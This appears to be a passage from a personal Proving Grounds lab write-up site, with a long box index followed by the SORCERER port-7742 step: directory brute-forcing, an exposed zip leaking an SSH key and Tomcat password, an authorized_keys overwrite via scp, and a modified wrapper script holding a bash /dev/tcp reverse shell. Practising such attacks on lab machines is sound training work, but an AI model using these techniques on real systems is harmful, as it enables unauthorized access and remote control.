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Proving Grounds Writeups
  • kashz PG Writeups
  • PG boxes
    • ALGERNON
      • 4 :9998 IIS 10
      • 3 :80 IIS 10
      • 2 :21 ftp
      • 1 recon
    • APEX
      • 9 privesc
      • 8 box enum www-data
      • 7 :80 openemr exploit
      • 6 :3306 mysql
      • 5 :80 /filemanager 9.13.4
      • 4 :80 openemr
      • 3 :80 apex hospital
      • 2 :445 smb
      • 1 recon
    • AUTHBY
      • 6 privesc
      • 5 box enum apache
      • 4 :21 ftp admin
      • 3 :242 apache
      • 2 :21 ftp
      • 1 recon
    • BANZAI
      • 9 post enum
      • 8 mysql > privesc > root
      • 7 apache enum
      • 6 box enum www-data
      • 5 :8295 banzai
      • 4 :25 smtp
      • 3 :5432
      • 2 :21 ftp
      • 1 recon
    • BILLYBOSS
      • 7 privesc_2
      • 6 privesc_1
      • 5 box enum
      • 4 :8081
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • BOTTLENECK
      • 7 privesc > root
      • 6 www-data > bytevsbyte
      • 5 box enum PEAS
      • 4 box enum
      • 3 :80 exploit
      • 2 :80 bottleneck
      • 1 recon
    • BRATARINA
      • 4 :25 opensmtpd 6.6.2
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLAMAV
      • 4 :25 sendmail
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLYDE
      • 7 post enum
      • 6 box enum rabbitmq > privesc > root
      • 5 :4369 epmd
      • 4 :15672 rabbitmq
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • DAWN
      • 5 privesc
      • 4 box enum dawn
      • 3 cron exploit using smb
      • 2 :80
      • 1 recon
    • DIBBLE
      • 9 post enum
      • 8 box enum benjamin > privesc > root
      • 7 :3000 nodejs exploit
      • 6 :27017 mongodb
      • 5 :3000 node.js
      • 4 :80 drupal explore
      • 3 :80 drupal enum
      • 2 :21 ftp
      • 1 recon
    • FAIL
      • 5 post enum
      • 4 privesc fail2ban
      • 3 box enum fox
      • 2 :873 rsync
      • 1 recon
    • FUNBOXEASY
      • 4 post enum
      • 3 :22 ssh tony > root
      • 2 :80
      • 1 recon
    • FUNBOXEASYENUM
      • 4 privesc
      • 3 box enum www-data > privesc > root
      • 2 :80
      • 1 recon
    • G00G
      • 5 post enum
      • 4 privesc > root
      • 3 box enum fox
      • 2 :80
      • 1 recon
    • GAARA
      • 4 post enum
      • 3 gaara > root
      • 2 :80
      • 1 recon
    • HAWAT
      • 8 post enum
      • 6 :50080 nextcloud enum
      • 5 :50080 davtest
      • 4 :50080 nextcloud
      • 3 :30455 w3.css
      • 2 :17445 issue tracker
      • 1 recon
    • HELPDESK
      • 2 :8080 ManageEngine ServiceDesk Plus 7.6.0
      • 1 recon
    • HETEMIT
      • 10 post enum
      • 9 privesc > root
      • 8 box enum cmeeks
      • 7 :50000_2
      • 6 :50000_1
      • 5 :18000
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • HUNIT
      • 6 post enum
      • 5 privesc git-user git-repo > root
      • 4 fail privesc dademola-user git-repo
      • 3 box enum dademola
      • 2 :8080
      • 1 recon
    • HUTCH
      • 10 privesc_3 ldapsearch
      • 9 privesc_2 SharpLAPS
      • 8 privesc_1 PrintSpoofer
      • 7 box enum iis apppool
      • 6 :80 webdav
      • 5 :139 :445 smb
      • 4 ldap_2
      • 3 ldap_1
      • 2 :80 IIS 10.0
      • 1 recon
    • INTERNAL
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • INTERFACE
      • 3 post enum
      • 2 :80
      • 1 recon
    • JACKO
      • 8 post enum
      • 7 privesc_2 PrintSpoofer
      • 6 privesc_1 PaperStream IP (TWAIN)
      • 5 box enum tony
      • 4 H2 JNIScriptEngine exploit > tony
      • 3 :8082
      • 2 :80
      • 1 recon
    • KEVIN
      • 3 :80 HP Power Manager 4.2
      • 2 :139 :445 smb
      • 1 recon
    • LAMPIAO
      • 7 post enum
      • 6 privesc KE
      • 5 box enum www-data
      • 4 drupalgeddon2 > www-data
      • 3 :1898 drupal 7
      • 2 :80
      • 1 recon
    • LOLY
      • 6 post enum
      • 5 privesc KE
      • 4 box enum www-data
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • MEATHEAD
      • 7 privesc_2 Plantronics Hub 3.13.2
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt service\mssql$sqlexpress
      • 4 :1435 ms-sql 2017
      • 3 :1221 ftp
      • 2 :80 IIS 10.0
      • 1 recon
    • MEDJED
      • 8 privesc
      • 7 box enum
      • 6 :45332 :45443 QuizApp
      • 5 :44330 Barracuda Web-File-Server
      • 4 :44330 BarracudaDrive 6.5
      • 3 :33033
      • 2 :30021 ftp
      • 1 recon
    • METALLUS
      • 2 :40443 Application Manager
      • 1 recon
    • MONITORING
      • 4 privesc
      • 3 :80 box enum > www-data
      • 2 :80 nagios xi
      • 1 recon
    • MUDDY
      • 8 post enum
      • 7 privesc cronjob
      • 6 box enum www-data
      • 5 :80 webdav
      • 4 :8888 ladon framework
      • 3 :80 wpscan
      • 2 :80 muddy.ugc
      • 1 recon
    • MY-CMSMS
      • 6 privesc armour > root
      • 5 box enum www-data
      • 4 :80 cms ms login
      • 3 :3306 mysql
      • 2 :80 cms made simple
      • 1 recon
    • NAPPA
      • 7 post enum
      • 6 privesc
      • 5 box enum kathleen
      • 4 :8080
      • 3 :28080
      • 2 :21 ftp
      • 1 recon
    • NIBBLES
      • 5 post enum
      • 4 box enum > privesc > root
      • 3 :5437 postgresql
      • 2 :80
      • 1 recon
    • NICKEL
      • 6 :21 ftp > root
      • 5 box enum
      • 4 ssh ariah
      • 3 :8089 :33333 curl
      • 2 :8089 DevOps dashboard
      • 1 recon
    • NUKEM
      • 6 post enum
      • 5 privesc dosbox
      • 4 box enum http > commander
      • 3 :80 wordpress + exploit
      • 2 :80
      • 1 recon
    • PAYDAY
      • 6 patrick > privesc > root
      • 5 box enum_2
      • 4 box enum www-data
      • 3 :80 cs-cart internetshop
      • 2 :139 :445 smb
      • 1 recon
    • PEBBLES
      • 3 zoneminder sqlmap
      • 2 http
      • 1 recon
    • PELICAN
      • 7 post enum
      • 6 privesc > root
      • 5 box enum charles
      • 4 :8080 :8081
      • 3 :631 cups 2.2
      • 2 :139 :445 smb
      • 1 recon
    • PEPPO
      • 9 post enum
      • 8 privesc docker socket > root
      • 7 box enum eleanor
      • 6 :22 ssh eleanor
      • 5 docker enum postgres
      • 4 :5432 postgres
      • 3 :8080
      • 2 :113 ident
      • 1 recon
    • PHOTOGRAPHER
      • 6 post enum
      • 5 box enum > privesc
      • 4 :8000 koken cms
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • POSTFISH
      • 10 post enum
      • 9 privesc > root
      • 8 exploit /etc/postfix/disclaimer
      • 7 box enum
      • 6 :22 ssh
      • 5 sending mail to phish
      • 4 :110 pop3
      • 3 :25 smtp
      • 2 :80
      • 1 recon
    • POTATO
      • 6 post enum
      • 5 :22 ssh, box enum
      • 4 :80 strcmp php
      • 3 :80
      • 2 :2112 ftp
      • 1 recon
    • QUARTERJACK
      • 8 post enum
      • 7 privesc > root
      • 6 box enum apache
      • 5 :8081 rconfig
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SEPPUKU
      • 10 privesc
      • 9 ssh tanto > privesc > root
      • 8 box enum samurai
      • 7 box enum seppuku
      • 6 :7601
      • 5 :7080
      • 4 :8088
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • SHENZI
      • 7 post enum
      • 6 privesc .msi
      • 5 box enum
      • 4 :80 wordpress > shenzi
      • 3 :80 xampp
      • 2 :139 :445 smb
      • 1 recon
    • SIROL
      • 5 post enum
      • 4 docker breakout > root
      • 3 :5601 kibana 6.5.0
      • 2 :80 php calculator
      • 1 recon
    • SLORT
      • 6 privesc
      • 5 box enum
      • 4 :4443 xampp
      • 3 :8080 xampp
      • 2 :21 ftp
      • 1 recon
    • SNOOKUMS
      • 8 post enum
      • 7 privesc
      • 6 box enum michael
      • 5 box enum apache
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SORCERER
      • 7 post enum
      • 6 privesc > root
      • 5 box enum max
      • 4 :7742
      • 3 :8080 tomcat 7
      • 2 :80
      • 1 recon
    • SOSIMPLE
      • 6 ssh max > steven > root
      • 5 box enum_2
      • 4 box enum_1 www-data
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
    • SUNSETMIDNIGHT
      • 7 privesc
      • 6 box enum www-data
      • 5 :80 wordpress admin
      • 4 :80 simply poll plugin sqli
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
      • 0 /etc/hosts
    • SYBARIS
      • 7 post enum
      • 6 privesc cron
      • 5 box enum pablo
      • 4 :6379 redis
      • 3 :80 sybaris
      • 2 :21 ftp
      • 1 recon
    • TRE
      • 5 :22 ssh > privesc > root
      • 4 box enum www-data
      • 3 :80 mantis bug tracker
      • 2 :80
      • 1 recon
    • TWIGGY
      • 5 post enum
      • 4 :4506 SaltStack 3000.1
      • 3 :8000
      • 2 :80 mezzanine
      • 1 recon
    • UC404
      • 5 post enum
      • 4 box enum brian > privesc > root
      • 3 box enum www-data
      • 2 :80 adminlte
      • 1 recon
    • UT99
      • 8 privesc_3 wlbsctrl.dll hijack
      • 7 fail privesc_2 InspIRCd
      • 6 privesc_1 FoxitCloudUpdateService
      • 5 box enum daisy
      • 4 :7778 unreal tournament
      • 3 :6667 irc via pidgin
      • 2: 80
      • 1 recon
    • WALLA
      • 7 post enum
      • 6 privesc
      • 5 box enum www-data
      • 4 :8901 lighttpd 1.4.53 > raspAP
      • 3 :25 smtp
      • 2 :23 telnet
      • 1 recon
    • WEBCAL
      • 6 privesc KE
      • 5 box enum www-data
      • 4 :53 dns
      • 3 :80 webcalendar 1.2.3
      • 2 :21 ftp
      • 1 recon
    • WOMBO
      • 6 post enum
      • 5 :6379 redis
      • 4 :27017 mongo
      • 3 :8080 nodebb
      • 2 :80
      • 1 recon
    • XPOSEDAPI
      • 3 box enum clumsyadmin > root
      • 2 :13337 remote software management api
      • 1 recon
    • Y0USEF
      • 5 post enum
      • 4 privesc
      • 3 box enum
      • 2 :80
      • 1 recon
    • ZENPHOTO
      • 9 post enum
      • 8 privesc_2 full-nelson
      • 7 privesc_1 rds
      • 6 privesc check
      • 5 box enum www-data
      • 4 :80 zenphoto 1.4.1.4
      • 3 :80
      • 2 :23 cups 1.4
      • 1 recon
    • ZINO
      • 6 post enum
      • 5 privesc > root
      • 4 box enum www-data
      • 3 :8003
      • 2 :139 :445 smb
      • 1 recon
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  2. SORCERER

4 :7742

http://192.168.197.100:7742/
Control Panel Log in page.

$ gobuster dir -u http://192.168.197.100:7742 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 80
===============================================================
/default              (Status: 301) [Size: 178] [--> http://192.168.197.100:7742/default/]
/index.html           (Status: 200) [Size: 1219]
/zipfiles             (Status: 301) [Size: 178] [--> http://192.168.197.100:7742/zipfiles/]

http://192.168.197.100:7742/default/
Page loaded with message: 404 Not Found 
# could be same as :80 landing page

http://192.168.197.100:7742/zipfiles/
Index of /zipfiles/
../
francis.zip                                        24-Sep-2020 19:27                2834
max.zip                                            24-Sep-2020 19:27                8274
miriam.zip                                         24-Sep-2020 19:27                2826
sofia.zip                                          24-Sep-2020 19:27                2818

# all others are basically empty /home/<user> dirs
$ unzip max.zip
Archive:  max.zip
   creating: home/max/
  inflating: home/max/.bash_logout
  inflating: home/max/.profile
   creating: home/max/.ssh/
  inflating: home/max/.ssh/id_rsa.pub
  inflating: home/max/.ssh/authorized_keys
  inflating: home/max/.ssh/id_rsa
  inflating: home/max/tomcat-users.xml.bak
  inflating: home/max/.bashrc
  inflating: home/max/scp_wrapper.sh

# exploring max.zip
$ cat tomcat-users.xml.bak
<role rolename="manager-gui"/>
<user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>

$ cat scp_wrapper.sh
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "ACCESS DENIED."
    scp
    ;;
esac

$ ssh -i id_rsa max@192.168.197.100
The authenticity of host '192.168.197.100 (192.168.197.100)' can't be established.
ECDSA key fingerprint is SHA256:1PY83TEUQqDNgXXB6iOOdqU+i3fBhc1zk4eg8yQyiXQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.197.100' (ECDSA) to the list of known hosts.
PTY allocation request failed on channel 0
ACCESS DENIED.
usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file]
           [-l limit] [-o ssh_option] [-P port] [-S program] source ... target
Connection to 192.168.197.100 closed.

# basically ssh command calls scp
# scp actually uses ssh to transfer files over
# maybe we need to use scp to run it

$ scp -i id_rsa web.php max@192.168.197.100:/var/www/html
scp: /var/www/html/web.php: Permission denied
# not writable maybe?

$ scp -i id_rsa web.php max@192.168.197.100:/tmp
web.php								100% 7205    94.7KB/s   00:00
# success

# as we cannot write in /var/www/html - can't use shell
# lets just put .ssh key in /home/max/.ssh/

# generate ssh key
# use max id_rsa to transfer custom id_rsa.pub to /home/max/.ssh/
$ scp -i id_rsa ../../../id_rsa.pub max@192.168.197.100:/home/max/.ssh/authorized_keys
id_rsa.pub

# connect using custom id_rsa
$ ssh -i ../../../id_rsa max@192.168.197.100
max@sorcerer:~$ whoami;id;hostname;uname -a
max
uid=1003(max) gid=1003(max) groups=1003(max)
sorcerer
Linux sorcerer 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

Alternate Method

$ cat home/max/.ssh/authorized_keys
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,command="/home/max/scp_wrapper.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC39t1AvYVZKohnLz6x92nX2cuwMyuKs0qUMW9Pa+zpZk2hb/ZsULBKQgFuITVtahJispqfRY+kqF8RK6Tr0vDcCP4jbCjadJ3mfY+G5rsLbGfek3vb9drJkJ0+lBm8/OEhThwWFjkdas2oBJF8xSg4dxS6jC8wsn7lB+L3xSS7A84RnhXXQGGhjGNfG6epPB83yTV5awDQZfupYCAR/f5jrxzI26jM44KsNqb01pyJlFl+KgOs1pCvXviZi0RgCfKeYq56Qo6Z0z29QvCuQ16wr0x42ICTUuR+Tkv8jexROrLzc+AEk+cBbb/WE/bVbSKsrK3xB9Bl9V9uRJT/faMENIypZceiiEBGwAcT5lW551wqctwi2HwIuv12yyLswYv7uSvRQ1KU/j0K4weZOqDOg1U4+klGi1is3HsFKrUZsQUu3Lg5tHkXWthgtlROda2Q33jX3WsV8P3Z4+idriTMvJnt2NwCDEoxpi/HX/2p0G5Pdga1+gXeXFc88+DZyGVg4yW1cdSR/+jTKmnluC8BGk+hokfGbX3fq9BIeiFebGnIy+py1e4k8qtWTLuGjbhIkPS3PJrhgSzw2o6IXombpeWCMnAXPgZ/x/49OKpkHogQUAoSNwgfdhgmzLz06MVgT+ap0To7VsTvBJYdQiv9kmVXtQQoUCAX0b84fazWQQ== max@sorcerer

# command is being run
so we can overwrite the file, as we have existing copy from max.zip
and use scp to put a modified copy and then either allow ssh or call a bash shell back

#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
 'scp'*)
    $SSH_ORIGINAL_COMMAND
    ;;
 *)
    echo "ACCESS DENIED."
    bash -i >& /dev/tcp/IP/PORT 0>&1
    ;;
esac
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